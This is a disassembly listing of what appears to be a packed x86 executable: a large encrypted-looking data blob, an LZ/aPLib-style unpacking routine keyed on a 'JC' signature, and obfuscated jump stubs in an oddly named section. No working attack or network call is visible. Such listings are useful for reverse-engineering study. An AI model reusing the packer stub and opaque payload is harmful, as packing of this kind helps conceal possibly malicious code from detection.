		dd 0C731343Fh, 38106078h, 54BB24FFh, 0CAEE65D1h, 0FD761142h
		dd 0A4DDD215h, 6D3491F7h, 0DE98B7C2h, 5DE7B6E1h, 0F8AEF8B1h
		dd 0CF03D077h, 7AB2FC52h, 2D16AA63h, 7837B333h,	13ED3C8Bh
		dd 65817BC7h, 305A7A76h, 0B7BBBF17h, 5CCA439Dh,	2AD84DECh
		dd 3A83D938h, 0E3A3744Ah, 0F07811DCh, 0F2243A7h, 35F62E6Ah
		dd 0E571A511h, 59371F66h, 0E260E03Ch, 0FB854A52h, 0F7683CAAh
		dd 0CAD216A2h, 2AE43A69h, 574CE677h, 48B46E74h,	9EE8E813h
		dd 9187F6DEh, 1AAD165h,	0C701DEAAh, 0C8379DAEh,	0A36D6D7h
		dd 81E3F863h, 0D02FEE26h, 0F68E663h, 0C1DFB592h, 43BAFCC8h
		dd 0DCCF6845h, 73F0F0ECh, 4C6703D7h, 0F7ECA2B9h, 95DCF032h
		dd 12E894D4h, 5BBA2B28h, 9E0A2EB8h, 0E4C1F2DCh,	56FE1544h
		dd 74C65222h, 81BFE7A7h, 615CFA20h, 5CE46DF7h, 5D559B10h
		dd 5749150h, 3DF9618Bh,	3CA99DCBh, 0B8485FFFh, 68DA3C82h
		dd 0C048AF3Fh, 0B5A36522h, 8EF22B00h, 0ABD0DF2Ch, 43365273h
		dd 0EBEEA5ACh, 9253D0Fh, 45D4A770h, 0E5B590F1h,	4DE8E4ADh
		dd 13EC835Bh, 37FBC189h, 82F1157Eh, 0D36D1DF9h,	0E05AE402h
		dd 0BEC8785Ah, 0A9966F1Fh, 0DBF0E276h, 142C967Dh, 0C7AAEA1Bh
		dd 992984C6h, 0C59FDBA0h, 0F5BAD721h, 4F2F90D2h, 0D4342717h
		dd 0A27FA02h, 5FDDF3EFh, 0D301EF5Eh, 0E340BB77h, 4129BA5Fh
		dd 0B98147Ah, 3707916Dh, 0F7779F48h, 42D1875Fh,	0E816F015h
		dd 7DED767Dh, 0C5F4045Dh, 6F757F82h, 5173EB3Dh,	5F06EA6Eh
		dd 0D49C7325h, 5154383Eh, 55C53BFDh, 6C5F85F9h,	7D82DB41h
		dd 120A43BBh, 0A46EF54Bh, 83CD51D4h, 0FAE02894h, 15E99B47h
		dd 0F8064F8Ah, 0B944C723h, 0C344A658h, 4B5FD3C6h, 25D2B021h
		dd 0AAF6237Ch, 0EE981F95h, 0BF85C798h, 97F2CBFDh, 51D569DBh
		dd 95BF6FE4h, 0C260F90Eh, 1C0EA96Ah, 37DA9B3Ah,	0F667EFC0h
		dd 0DD7A2F47h, 0D67FD4Bh, 719F0D8Eh, 8E454E6Dh,	1DF9F6Ch
		dd 35A2854Bh, 0C0FE9F9Bh, 8D3F66B7h, 0CA55D852h, 5F430CD6h
		dd 452D1AAEh, 0DF7F798Bh, 0E6B8A8CAh, 4494CD1Eh, 2B44B3DFh
		dd 69AA4B7Fh, 0C2D8D466h, 222D067Fh, 4F3A0487h,	3DFCE16Dh
		dd 867CE60Fh, 0D6B044F9h, 229D426Eh, 744F1D54h,	611DE965h
		dd 1E189F1Ch, 6F1419EDh, 2B4EB72Dh, 79183B44h, 60B56CBh
		dd 38D174DFh, 9F2E6F23h, 8649D514h, 901C7EF0h, 516CC4A9h
		dd 9A9D3EBEh, 0DA453707h, 5EF6BD6Fh, 15ABEAEFh,	5AA2E2AAh
		dd 78A9AAE7h, 0E3768E81h, 0AED2B8A5h, 69CC884Ah, 0E26A5AA4h
		dd 5A996DF7h, 20B93969h, 9504AD3Eh, 8BF3A23h, 1B743EBFh
		dd 1712345Fh, 0B4CF818Ah, 14E0FA1h, 0B108D7DDh,	0DBE456CDh
		dd 6F2159E6h, 9147E247h, 146F1DEh, 956B74B4h, 471DEE16h
		dd 0EFF395DCh, 48451A13h, 3B25287h, 0A5BCF0Dh, 7C6D3C8h
		dd 0D56F0BFEh, 69FF3FE0h, 276CFBEAh, 0ACA8A3AEh, 52CE06Dh
		dd 3595F670h, 3FEC5ED0h, 0B58DC6DBh, 5733F8B8h,	0F353271h
		dd 0EB04574Eh, 9BD7FCFBh, 0F41C2AB8h, 0F0FC6FCBh, 928DCFC8h
		dd 1CC36EFCh, 0A05FB5BAh, 0E1E0403Dh, 0A8756206h, 0D9449742h
		dd 0BA0AEDE6h, 0DC9F370Ch, 0EE3365F4h, 0A3DF2FFh, 38945DA8h
		dd 17F82C58h, 1F54EA51h, 6F9C17F1h, 6A3BD782h, 45F85089h
		dd 0E5C2F6ABh, 0DCCA6C3Ah, 0AEFD8950h, 1E2E4A1Eh, 7DD65EDh
		dd 0C817E5CBh, 93BD7528h, 4B0491EEh, 0E2FF68A8h, 585C6B6Eh
		dd 0F0D06BF8h, 0CA87A8AEh, 0A19FCAEEh, 23CAEA1Eh, 3736E168h
		dd 8CE3AC98h, 77F154B1h, 0DD7EF362h, 0FEF87CDEh, 28E88C97h
		dd 0C2BADBBh, 7DFA6E55h, 0DBDFAB40h, 27F4292Eh,	0C19FECAAh
		dd 0BBE7A60Ch, 464F82EEh, 40A9BDD0h, 1E6A770h, 8D68D12Ah
		dd 18B7CAD2h, 1F5B18C0h, 0D67F7EAh, 0A9726926h,	6992DF52h
		dd 0A60B7F2Ah, 768CC534h, 992ADE07h, 0C7BA227Ah, 0DC1E1C7h
		dd 0D148D5Dh, 3C16A2FFh, 399F53D3h, 243C6F78h, 0D409D37Dh
		dd 0C92479D2h, 0BAFEB57Dh, 0B5BDC9D4h, 0B7D2D51h, 0F4BA69F6h
		dd 33185C17h, 0E6A05E78h, 6CAAE964h, 9AC7D60Eh,	0EE86E5DAh
		dd 0A16FB00Ah, 0EC9FED1Bh, 0AF14CCBAh, 886B3AF6h, 98BB7100h
		dd 0B3AFFA60h, 7D7EFE56h, 0E2D605BBh, 6F1BD308h, 46D12477h
		dd 0C556EDCFh, 1FD9A2C2h, 79BEAA98h, 0BCE16D5Ah, 57D2F6F2h
		dd 2F927776h, 0D0A9748Ah, 5D17DDCAh, 0AEB41B3h,	6E85F8A8h
		dd 5A22B381h, 0FF72AD9h, 249220FFh, 842B5A3Bh, 78D61924h
		dd 0FC3C0F16h, 8384B9F3h, 0BF1BD51h, 0CE756E77h, 0D1051D2Ch
		dd 561F80C5h, 3F768A02h, 90395C6Ah, 0FCB980DBh,	4E81FF97h
		dd 0B7152BFCh, 549D01D8h, 7A7E9285h, 45346C42h,	20E575B6h
		dd 0C0F6B8E5h, 0ECEB53DFh, 5F2AF732h, 627C0FEDh, 10020F87h
		dd 62EB6CA3h, 96F76AD2h, 0FE220EADh, 0D0DE2D50h, 2D6E6A69h
		dd 67F94840h, 0F90DAAC7h, 2840B5FEh, 0DCA5D2E7h, 0F079AAB0h
		dd 4DBD9514h, 0A6F91AF4h, 8BFAC21Fh, 0EF5077C3h, 165F1A38h
		dd 0D38E76C7h, 1467F6BFh, 44005BB8h, 0D4E07F32h, 0ED4492BCh
		dd 973278BCh, 0CF45742Ah, 0AB6A0053h, 0E992B532h, 499DF2F1h
		dd 65B12D45h, 417546FBh, 389DEE8Dh, 0F0780ECEh,	0F6FEEBB0h
		dd 80D69A04h, 579B2734h, 0EF45D9BEh, 0CCB6AF17h, 0B77F1A8Dh
		dd 0A626BF79h, 7DAA8E2Ch, 376BD42Fh, 0E0B87136h, 0D1C0C48Fh
		dd 2473D4BAh, 0A5776F25h, 0EB779E44h, 207CF556h, 0CF32792Bh
		dd 497FEE53h, 3065E64Bh, 55DA092Eh, 0BC7EA18Bh,	0E2A99D2Bh
		dd 0EC2C9ACEh, 72EA3154h, 0B7272F9h, 47869D49h,	1BE7A102h
		dd 9FDFADFFh, 0B4567D00h, 6DCA9AF7h, 1950B5B7h,	570C0FDAh
		dd 9BAFEA7Fh, 94B83AB6h, 0BE58DFDh, 0A0B21F83h,	0D929729Dh
		dd 0D9E18E03h, 0A59DE13Ch, 0CBCE0B37h, 895F2AF0h, 4FAF756Bh
		dd 4436F3A4h, 0BD2F9185h, 0BBF5CE1h, 7DF8CF08h,	0BB3E5A1h
		dd 992D3D8Fh, 8FE8AAA3h
		dd 1E032FC2h, 0F30FC378h, 0F8CD00DFh, 0B8DEEAF7h, 0B8F47E2Eh
		dd 1D9C839Bh, 89F6AAD6h, 3A3C095Ch, 17E0AE74h, 4664182Ch
		dd 346557ABh, 0DAB4AD40h, 0DC9EDC0Fh, 0A7898D08h, 361973B4h
		dd 0C664D746h, 92D1977Dh, 801B63C6h, 555875B6h,	0B657511Bh
		dd 37704561h, 66DCF291h, 0B47975D5h, 95123BCDh,	3FF5C41h
		dd 0B90DD917h, 741247F3h, 15B39591h, 53DEEAFh, 70A1827Dh
		dd 0EDCAF0F0h, 0EEE295D2h, 9CBFE442h, 5EB7AF0Ch, 0B3C1D709h
		dd 6F3C9E02h, 0E4D9EE36h, 0EE44CE62h, 0F49E602Fh, 0DCD0AB70h
		dd 3E1281E7h, 0D3032B72h, 92FC55D4h, 92F346AFh,	0B629C682h
		dd 0D5006602h, 0AA113A6h, 83BF945Ch, 3FE093CAh,	310FC7EEh
		dd 0CFAB0BFh, 1196E6E0h, 54EF6E2Bh, 9B54C451h, 0ACCE9213h
		dd 0D412C3A5h, 0A21CAFA7h, 0E269A66Bh, 0A06D1E9Ch, 63A4C808h
		dd 0B3B96773h, 76E144AAh, 3F228AE7h, 0CE6855F3h, 0F5B99975h
		dd 4E8A331Fh, 35505552h, 12DDCB38h, 64B38B60h, 0DC00A8B4h
		dd 14C65D0Dh, 2AF6316Ch, 0D6E22E25h, 0FD5B5A36h, 617E0B2Dh
		dd 0E5EDD3Dh, 0CE2A2B05h, 71AA2A89h, 0AEF025D8h, 0D32EC27Dh
		dd 0E6F3D46Dh, 1059D343h, 37E389C3h, 555A6FBCh,	0BE17D6D4h
		dd 51C6879Eh, 94B4CEF4h, 8B5A2C36h, 50DBDBFAh, 961F5475h
		dd 16885BCCh, 280F3F18h, 66FA2707h, 0D5DF303Fh,	3A265FE0h
		dd 59FD3E0Eh, 45CB0BB2h, 0C4ADB16Eh, 290A5F86h,	786FC10Dh
		dd 0C1F46BECh, 0BDB9CAC7h, 0EDA57F09h, 0A256173Fh, 69F2EA9Ah
		dd 0E4726F78h, 0B8BA6BDAh, 0D81ABEC6h, 0B729F99h, 0A5920EA1h
		dd 3614EFF0h, 0BA7C3292h, 0D9771942h, 4AEE7BAh,	719552A1h
		dd 5174F47h, 5F249352h,	2BDCEA2h, 5CDCE840h, 6876B60Fh
		dd 12A8DD9Fh, 8A43041Bh, 7A20625Ah, 35B6B523h, 0F272A1A1h
		dd 0E4A6C06Dh, 0E19D377Eh, 23C5ABAFh, 419FFFC9h, 79FEDDDCh
		dd 957497B6h, 0F3850C2Ch, 9FA91BA0h, 7157141Bh,	88ACA197h
		dd 8EE236AFh, 0BD68B251h, 454FAEDDh, 0E60611B0h, 4077AB01h
		dd 112E53Eh, 8E88AFE5h,	5669ECDFh, 7FCBBC59h, 45AC28DEh
		dd 0BDCE8EA8h, 0B81ADE7Ah, 4AEAC70Dh, 0D6D6D5ADh, 153BEECFh
		dd 0F5EC0F3h, 0A99DE2B9h, 0BE0F1A3Eh, 0B5A63CEh, 0FCB53CF3h
		dd 409F4586h, 0DF7D80D7h, 0FB77C0F2h, 0B0D588BCh, 9CBF0B83h
		dd 97B96097h, 2A9157E0h, 0C4E0F222h, 0EF63DA45h, 67781776h
		dd 7C7D1AA0h, 0ACEA1623h, 0E37775A2h, 0CB60D64Ch, 0EC8E0BF9h
		dd 730AF866h, 0AC1A8F3Ah, 8A6962C1h, 51634867h,	5EC0A3A8h
		dd 9B4BCAFCh, 0B5DEF9E3h, 0D943DE34h, 0C0C7E2B1h, 81FBD325h
		dd 3AC8397Fh, 3D6A4124h, 0F997F7EAh, 0E63CD8E1h, 7E392BFCh
		dd 2D524EF8h, 0D3155AAFh, 4D175157h, 43D1550Fh,	9A1F89EEh
		dd 28619ECCh, 0D0376B69h, 0AFA49200h, 0AF0232A5h, 6DD6F6FCh
		dd 575984EFh, 0D1639F73h, 0B4053B33h, 0F1C587E3h, 0A36ED7C6h
		dd 15D40EBAh, 1435D051h, 94553FBDh, 97D01701h, 67CF535Dh
		dd 4F74A95Ah, 273C8A8Dh, 76B43FD0h, 755F9593h, 8BB657C5h
		dd 65356E85h, 0B6FAA639h, 0DD88998Ch, 0E5A35F42h, 51D18EFEh
		dd 1D6241BEh, 895586E5h, 0A544A95Dh, 0B49D242Dh, 4A8E0EFh
		dd 0F7A79AE4h, 0D424EBA1h, 71E0D2D0h, 389E8891h, 0FDAD9A7Dh
		dd 20722D3Bh, 5CA079D5h, 0CFDE99B6h, 63313649h,	0CFDA6381h
		dd 0FB6A6BF7h, 5F6295E4h, 321F829Fh, 0ECC110BEh, 2B28AB47h
		dd 9688A73Ah, 24AA125Ah, 8A8E04C4h, 0EE9878Eh, 0B8093EA5h
		dd 5B7C968Ch, 0B7170C1Fh, 20B3B26h, 0EC473922h,	78836703h
		dd 0C555E584h, 5F8ED9FDh, 3D4F0C0h, 5FD882E1h, 607D5D9Bh
		dd 0CE1BA85Fh, 0C58EA174h, 142B0FD9h, 0E1D9E8DAh, 9EAD51B4h
		dd 57A64AE1h, 0F3600DEEh, 6BF9B825h, 67027739h,	0D488608Bh
		dd 0FC689C0Fh, 3CC8BF06h, 0FB03916Ah, 0D53FDB9Eh, 0BF7B19E5h
		dd 0E2515514h, 394AF4DDh, 0D3564527h, 0D979DCA4h, 0BFCB21FEh
		dd 0D357156Ch, 0CB9A664Dh, 0DCC5C497h, 518D3A98h, 55476419h
		dd 9FDC6D6Fh, 997EB14Eh, 649C0578h, 11457EC0h, 4EA601B3h
		dd 53D896FBh, 9A0E5FE2h, 76698F6Fh, 26D7F9Bh, 0A6CD3FBAh
		dd 0A417D403h, 0C071D07Fh, 1A60AEC1h, 73DCF2FFh, 9CDCDE4Bh
		dd 0AC728E24h, 0AED557E0h, 6A1A36C5h, 360274F7h, 0BECA490h
		dd 7151EE2Bh, 0FC092EA8h, 0E0A38529h, 0A170BB34h, 8F02193Ah
		dd 37CA9489h, 9FC774ADh, 6828B52Ah, 0E8A37072h,	0AAADA560h
		dd 671CD973h, 75105591h, 733F2068h, 0A361ED51h,	5D9C4AA6h
		dd 8A0B970Ch, 8E4BEAA9h, 1349A6F4h, 0E4AB2AB5h,	18A34714h
		dd 0C14AF8D8h, 5EC812F6h, 30968BF7h, 0AACB43ACh, 2C424350h
		dd 0D3C174BCh, 8571D629h, 3798E172h, 20EBE3D1h,	29BC507Bh
		dd 48350A5Ah, 3591AB2Ch, 0E1796EE6h, 0C1D69E95h, 7E401B48h
		dd 0FE7DA553h, 0CD25A2A2h, 0E912DB0Dh, 0FA990771h, 552E53EFh
		dd 28799124h, 0B9BAC08h, 0BF87D086h, 0ECF814D0h, 35512955h
		dd 0D4BFEA07h, 78BE2C5Ah, 9DD7DEFDh, 0BFBB85F5h, 0BB2015FAh
		dd 4CD4D0B5h, 0DA4D0448h, 0CC37EEE5h, 58FE6398h, 1F0CAB2Bh
		dd 16910B94h, 49DEB3CEh, 499A662Fh, 0EF864CFEh,	0EF96934Dh
		dd 0B618172Ah, 0CADEADFDh, 0B2E2E739h, 90A9FF68h, 2D167F2Ch
		dd 0FE70BFD1h, 0D7550E16h, 5FA3F98Ch, 83C96562h, 0F4DAC5C0h
		dd 0B81C3FB8h, 0B026E9E7h, 21F8DA87h, 71691BAAh, 71455B85h
		dd 1B0B8C96h, 9B8DAF55h, 5916D4D0h, 9D66221Fh, 8F37681h
		dd 7204D767h, 9FFDDCD4h, 8124356Ch, 0E9A60FD5h,	0A496C222h
		dd 11D9F563h, 0C9D921BCh, 9FA5EFE6h, 7F0C72CEh,	4F8B32EFh
		dd 7FC90412h, 0B79D6881h, 760EF2F0h, 8A14B753h,	16A8CE6Fh
		dd 0B58AECE6h, 0CD5D7C7Ah, 0CE5B5290h, 15FB4192h, 0E055155Bh
		dd 2181A765h, 0EA5570B1h, 0B9997065h, 0EFE215CBh, 0C51CECB5h
		dd 0DF89CE4h, 3BDD6462h, 99C54136h, 6DECF0Eh, 27D15D3Dh
		dd 7C5DF87Fh, 0B4D3E7E2h, 0B4B63D53h, 956C5FC9h, 7CFBB4F3h
		dd 646FB406h, 1F8C2BF4h, 13FDFC8Eh, 17D728B3h, 4A6E35CBh
		dd 0C85BBDCh, 7B7D5F39h, 68B55F42h, 6FD14750h, 629F69FCh
		dd 0FE450B0Fh, 5F52B39Ch, 2FCAB558h, 76D46506h,	0C8F81E6Ch
		dd 611637C3h, 3BB14951h, 54E5FC50h, 0B44EB215h,	0FB3820FCh
		dd 25FC35F1h, 0BD141AA0h, 887A3C18h, 6F1685C3h,	3DD9C9Ch
		dd 77AEC5FEh, 0D6691543h, 0BF03FA99h, 0E3713854h, 90ACEC6Bh
		dd 69856BD6h, 8F5DD868h, 0F7DAB376h, 59F815F6h,	7D6FC214h
		dd 0C6D1D326h, 7FA892Ah, 0BE9A3DF7h, 0FA0CED7Bh, 0BFB88h
		dd 62A675D3h, 3EA4F159h, 0AE6EF689h, 6BF99DA5h,	0C4CCDEC0h
		dd 0F11F5B78h, 195D66FBh, 2C9E6633h, 0C5A346E6h, 0C0BDE330h
		dd 0B8E0E79Bh, 98F2CDFCh, 0B160D842h, 0FD2AB9BBh, 6A6CA5DDh
		dd 9596D0D1h, 94B935CAh, 0F32B77BEh, 0B2358913h, 0B6F98247h
		dd 0F86D9D71h, 0AFF9BED7h, 0A0B18F7Ch, 9AEB0B90h, 0F5717365h
		dd 0A36F6A9Bh, 0A9F62497h, 2BBC9757h, 0CF8B2383h, 0BC4F177Eh
		dd 1C37621Fh, 0E0EAAADFh, 0CDB3D8AAh, 64908B45h, 0BD77B59Bh
		dd 0C547FBF5h, 6B47AF15h, 3D9F84B7h, 22D8097Dh,	58E40FA2h
		dd 0BAD0AA7Dh, 0FF3689A5h, 6C17FE91h, 951D08BFh, 0DDDF0750h
		dd 0E7C2B33h, 27F0A502h, 78AA4170h, 0F894B0A5h,	0A9F8CAFFh
		dd 123E5C3Fh, 5647C5Dh,	62F9C3CAh, 0AB07D68Ah, 0B1511BFDh
		dd 7D15FA95h, 4EBC097Fh, 0F573555h, 0F70D5374h,	0FC4652F5h
		dd 0B27E12F5h, 0D5CB57BFh
		dd 0AD2659D5h, 26D1E8A8h, 7F8B47D5h, 0D917FC2h,	7407DFA5h
		dd 9DFDBA1Ch, 7F635EE6h, 0DC5322ABh, 83CD9FCBh,	2C1C5A24h
		dd 927EF4A3h, 0A37390BFh, 0B51A42DFh, 1A18B45Eh, 0B710A1ADh
		dd 0E76C04C7h, 0D547029Eh, 8C095D6Fh, 565E622Dh, 1C7B4F53h
		dd 3381E066h, 0A6796BF8h, 494556CCh, 0BCFA95F1h, 0B2CB3E4Ah
		dd 0B7DCCEE3h, 1DE7B04Dh, 5D6B0B6Fh, 0C6769E45h, 0F7AA33FBh
		dd 9B47DFFh, 96CA7814h,	0EC7B8EA1h, 0DA8073E6h,	0CDAAA44Bh
		dd 8083FAEAh, 3A9188BFh, 0F63A07AFh, 9BBA97FAh,	4B8AA2FDh
		dd 772FAD75h, 4AF90BA1h, 15F7E9BBh, 28A54D5Dh, 1DD389ECh
		dd 57D9414Bh, 46EDF45Ah, 6F26C025h, 3ED2483Eh, 2036055Fh
		dd 0B3255324h, 0C0F7B23Ah, 4CDBF9A5h, 6E7FB689h, 5F1B61C5h
		dd 77A98D8Fh, 4BC5632Fh, 0E885E668h, 10F2FE0Eh,	0B7CDBE00h
		dd 48877463h, 0FB608DD1h, 6BB87899h, 58A2FEEFh,	8FA00DBCh
		dd 817F2AEBh, 0EC405A65h, 77E94F05h, 4746E64Ah,	1556EC51h
		dd 6E4B5B68h, 0CEB942DDh, 180BFF69h, 27A2A81Ah,	9B6BF027h
		dd 0F66BEA0Eh, 9E3FD237h, 8A78A092h, 36FDC35Fh,	5837B6CAh
		dd 0D1843CDAh, 0BAD652DEh, 970263C1h, 5130074Fh, 41FC71CAh
		dd 0D07B0404h, 2FA2F1DDh, 2091F4DCh, 56B12DE1h,	5A3334D1h
		dd 63FCF657h, 56CBB013h, 0DAA3920Dh, 0E9C6ABE5h, 0AA7D16h
		dd 0B703FFCh, 38ABF983h, 968A24F0h, 11F6FE51h, 0F657F97Fh
		dd 33DCC048h, 5752C732h, 475A79BDh, 0B1CE1D4Ch,	0F63A8BE1h
		dd 5316E379h, 0F5C65DCBh, 0FB59E4C0h, 0F2BFBEAEh, 176B0FF0h
		dd 5080A6C7h, 0CDE1157Bh, 550AAFF7h, 55B838D5h,	0E9F29800h
		dd 0D7D34CBAh, 8557EEA3h, 34912A52h, 5ADCA4CDh,	55EC1A80h
		dd 0AFA47F2Bh, 0B475FF56h, 9E3855ADh, 795E0F1Ah, 8F2B4BFh
		dd 0D9B07778h, 0E4AAAE0Fh, 2016E92Ch, 0B03A1481h, 0D8F53E33h
		dd 0E31C6B44h, 35D105BAh, 51650788h, 0E99CE63h,	0C5D4E070h
		dd 95AC2EFCh, 0E95E2247h, 56926F77h, 0CEA58BEAh, 0AFBD4955h
		dd 0DE86B48Eh, 2736315Ah, 4CB4556Ch, 4C807395h,	0C72BF10Fh
		dd 0C1CA3EAAh, 0FC608AF9h, 0B69AAF08h, 192B9D59h, 0B2EE43F0h
		dd 5B97D88Ch, 2F8FE17Eh, 555289AEh, 781EB57Ah, 7B2F729h
		dd 0E248325Fh, 2B135890h, 0D524C8B1h, 0DF81D824h, 1A24F9BEh
		dd 0DCFE34CFh, 9CA141AEh, 7EDD6317h, 370FAFCDh,	6786EA4Bh
		dd 0B76F9EBFh, 0F6AA72FAh, 383E0841h, 0FBA635FBh, 4792A947h
		dd 0FD562470h, 5F8AAD8Eh, 918F7CF0h, 0C220389Bh, 0AE6730BEh
		dd 0E7A1A90Fh, 0D5FBBD3h, 0AC18DF0Dh, 0B80AFC65h, 496837B8h
		dd 1FF64FB3h, 0B1EB816Eh, 0EAF78B38h, 0A1350BF8h, 3C2F6F95h
		dd 4D7B8D5Eh, 0AC542D16h, 79EAC159h, 0F487E028h, 0CE9AA7DFh
		dd 857DDE5Bh, 9C53BE95h, 0A7DB594Bh, 6F6114FBh,	40709540h
		dd 33A0383Fh, 52D4D938h, 12BD37D2h, 0D1F9BA88h,	7FF2E0FBh
		dd 2B3616E6h, 7B621E16h, 0C57E0D6Fh, 0B4A2D1DDh, 0BF83FEC6h
		dd 0D3C1E5BAh, 0C5D6CA5Ch, 0BBDEF375h, 873D1249h, 6467D5CBh
		dd 50D6C075h, 3E0AEC87h, 985CBF79h, 1BDF4BE1h, 8555B1C4h
		dd 6A50730Bh, 0CE021D27h, 4577204Eh, 15EB3BBAh,	5EECBC19h
		dd 9B5DBADEh, 0A6A982FFh, 85DEE3A9h, 51489366h,	1A3BAA36h
		dd 0BAA41F5Dh, 0EC70425Dh, 0EB7A1DC6h, 8F2B31AFh, 16C57ACFh
		dd 0FB290000h, 6132h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E5F8	proc near		; DATA XREF: sub_432AFD+3Ao

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042E777 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cld
		push	ebx
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], edx
		mov	esi, eax
		mov	edi, edx
		cmp	word ptr [esi],	434Ah
		jnz	loc_42E73A
		add	esi, 0Ah
		mov	[ebp+var_C], 8
		xor	ebx, ebx
		mov	edx, 80000000h
		inc	ebx


loc_42E629:				; CODE XREF: sub_42E5F8+46j
					; sub_42E5F8+8Dj ...
		xor	eax, eax
		call	sub_42E741
		jnb	short loc_42E640
		mov	ecx, [ebp+var_10]
		call	sub_42E759
		add	al, [ebp+var_11]


loc_42E63D:				; CODE XREF: sub_42E5F8+65j
		stosb
		jmp	short loc_42E629
; ---------------------------------------------------------------------------


loc_42E640:				; CODE XREF: sub_42E5F8+38j
		call	sub_42E741
		jb	loc_42E6E2
		call	sub_42E741
		jnb	short loc_42E6AD
		mov	ecx, 4
		call	sub_42E759
		dec	eax
		jz	short loc_42E63D
		jns	loc_42E72C
		call	sub_42E741
		jnb	short loc_42E687
		push	ebp


loc_42E66D:				; CODE XREF: sub_42E5F8+8Aj
		mov	ebp, 100h


loc_42E672:				; CODE XREF: sub_42E5F8+83j
		call	sub_42E74E
		mov	[edi], al
		inc	edi
		dec	ebp
		jnz	short loc_42E672
		call	sub_42E741
		jb	short loc_42E66D
		pop	ebp
		jmp	short loc_42E629
; ---------------------------------------------------------------------------


loc_42E687:				; CODE XREF: sub_42E5F8+72j
		mov	ecx, 1
		call	sub_42E759
		add	eax, 7
		mov	[ebp+var_10], eax
		mov	[ebp+var_11], 0
		cmp	eax, 8
		jz	short loc_42E629
		call	sub_42E74E
		mov	[ebp+var_11], al
		jmp	loc_42E629
; ---------------------------------------------------------------------------


loc_42E6AD:				; CODE XREF: sub_42E5F8+58j
		mov	ecx, 7
		call	sub_42E759
		push	eax
		mov	ecx, 2
		call	sub_42E759
		mov	ecx, eax
		inc	ecx
		inc	ecx
		pop	eax
		or	eax, eax
		jz	short loc_42E6CF
		mov	ebx, eax
		jmp	short loc_42E72D
; ---------------------------------------------------------------------------


loc_42E6CF:				; CODE XREF: sub_42E5F8+D1j
		cmp	ecx, 2
		jz	short loc_42E73A
		inc	ecx
		call	sub_42E759
		mov	[ebp+var_C], eax
		jmp	loc_42E629
; ---------------------------------------------------------------------------


loc_42E6E2:				; CODE XREF: sub_42E5F8+4Dj
		call	sub_42E765
		dec	ecx
		loop	loc_42E6F3
		mov	eax, ebx
		call	sub_42E765
		jmp	short loc_42E72D
; ---------------------------------------------------------------------------


loc_42E6F3:				; CODE XREF: sub_42E5F8+F0j
		dec	ecx
		mov	eax, ecx
		push	ebp
		mov	ecx, [ebp+var_C]
		mov	ebp, eax
		xor	eax, eax
		shl	ebp, cl
		call	sub_42E759
		or	eax, ebp
		pop	ebp
		mov	ebx, eax
		call	sub_42E765
		cmp	eax, 10000h
		jnb	short loc_42E72A
		cmp	eax, 37FFh
		jnb	short loc_42E72B
		cmp	eax, 27Fh
		jnb	short loc_42E72C
		cmp	eax, 7Fh
		ja	short loc_42E72D
		inc	ecx


loc_42E72A:				; CODE XREF: sub_42E5F8+11Cj
		inc	ecx


loc_42E72B:				; CODE XREF: sub_42E5F8+123j
		inc	ecx


loc_42E72C:				; CODE XREF: sub_42E5F8+67j
					; sub_42E5F8+12Aj
		inc	ecx


loc_42E72D:				; CODE XREF: sub_42E5F8+D5j
					; sub_42E5F8+F9j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_42E629
; ---------------------------------------------------------------------------


loc_42E73A:				; CODE XREF: sub_42E5F8+19j
					; sub_42E5F8+DAj
		mov	eax, esi
		pop	esi
		pop	edi
		pop	ebx
		jmp	short loc_42E777
sub_42E5F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E741	proc near		; CODE XREF: sub_42E5F8+33p
					; sub_42E5F8:loc_42E640p ...
		add	edx, edx
		jnz	short locret_42E74D
		mov	edx, [esi]
		add	esi, 4
		stc
		adc	edx, edx

locret_42E74D:				; CODE XREF: sub_42E741+2j
		retn
sub_42E741	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E74E	proc near		; CODE XREF: sub_42E5F8:loc_42E672p
					; sub_42E5F8+A8p
		mov	ecx, 8
		call	sub_42E759
		retn
sub_42E74E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E759	proc near		; CODE XREF: sub_42E5F8+3Dp
					; sub_42E5F8+5Fp ...
		xor	eax, eax


loc_42E75B:				; CODE XREF: sub_42E759+9j
		call	sub_42E741
		adc	eax, eax
		loop	loc_42E75B
		retn
sub_42E759	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E765	proc near		; CODE XREF: sub_42E5F8:loc_42E6E2p
					; sub_42E5F8+F4p ...
		xor	ecx, ecx
		inc	ecx


loc_42E768:				; CODE XREF: sub_42E765+Fj
		call	sub_42E741
		adc	ecx, ecx
		call	sub_42E741
		jb	short loc_42E768
		retn
sub_42E765	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E5F8


loc_42E777:				; CODE XREF: sub_42E5F8+147j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42E5F8
; ---------------------------------------------------------------------------
		align 4


loc_42E77C:				; CODE XREF: fzj3qwht:00431278j
					; DATA XREF: sub_432AF7o ...
		xchg	ecx, [esp]
		pop	ecx
		or	eax, eax
		jnz	locret_42FA0B
		push	offset loc_42FA05
		jmp	locret_42F9F2
; ---------------------------------------------------------------------------
		dw 0F00h
		dd 2D83h, 0DF2B5600h, 5579F081h, 0DAE97BE9h, 2Eh, 0C300h
					; CODE XREF: fzj3qwht:loc_42FB05j
		dd 0A84AA9BAh, 0F4840FE6h, 0E9000030h, 3C2Bh, 7C870F00h
		dd 8B000023h, 8C0F005Dh, 2B0Fh,	0D852E881h, 0F881A4B4h
		dd 0D7897CECh, 0EBDE9h,	24348700h, 0E8C7815Eh, 0B3B3ED6Eh
		dd 40F0E907h, 0D5810000h, 0F37DDA44h, 2D52E9h, 34870000h
		dd 0FAE85E24h, 0C3000024h, 0F4DE9h, 74858B00h, 68FFFFFFh
		dd 4323D0h, 170AE9h, 0F000000h,	34F984h, 0FF850F00h, 0E900001Dh
		dd 188Dh, 0E900C300h, 16Ch, 34E900h, 0
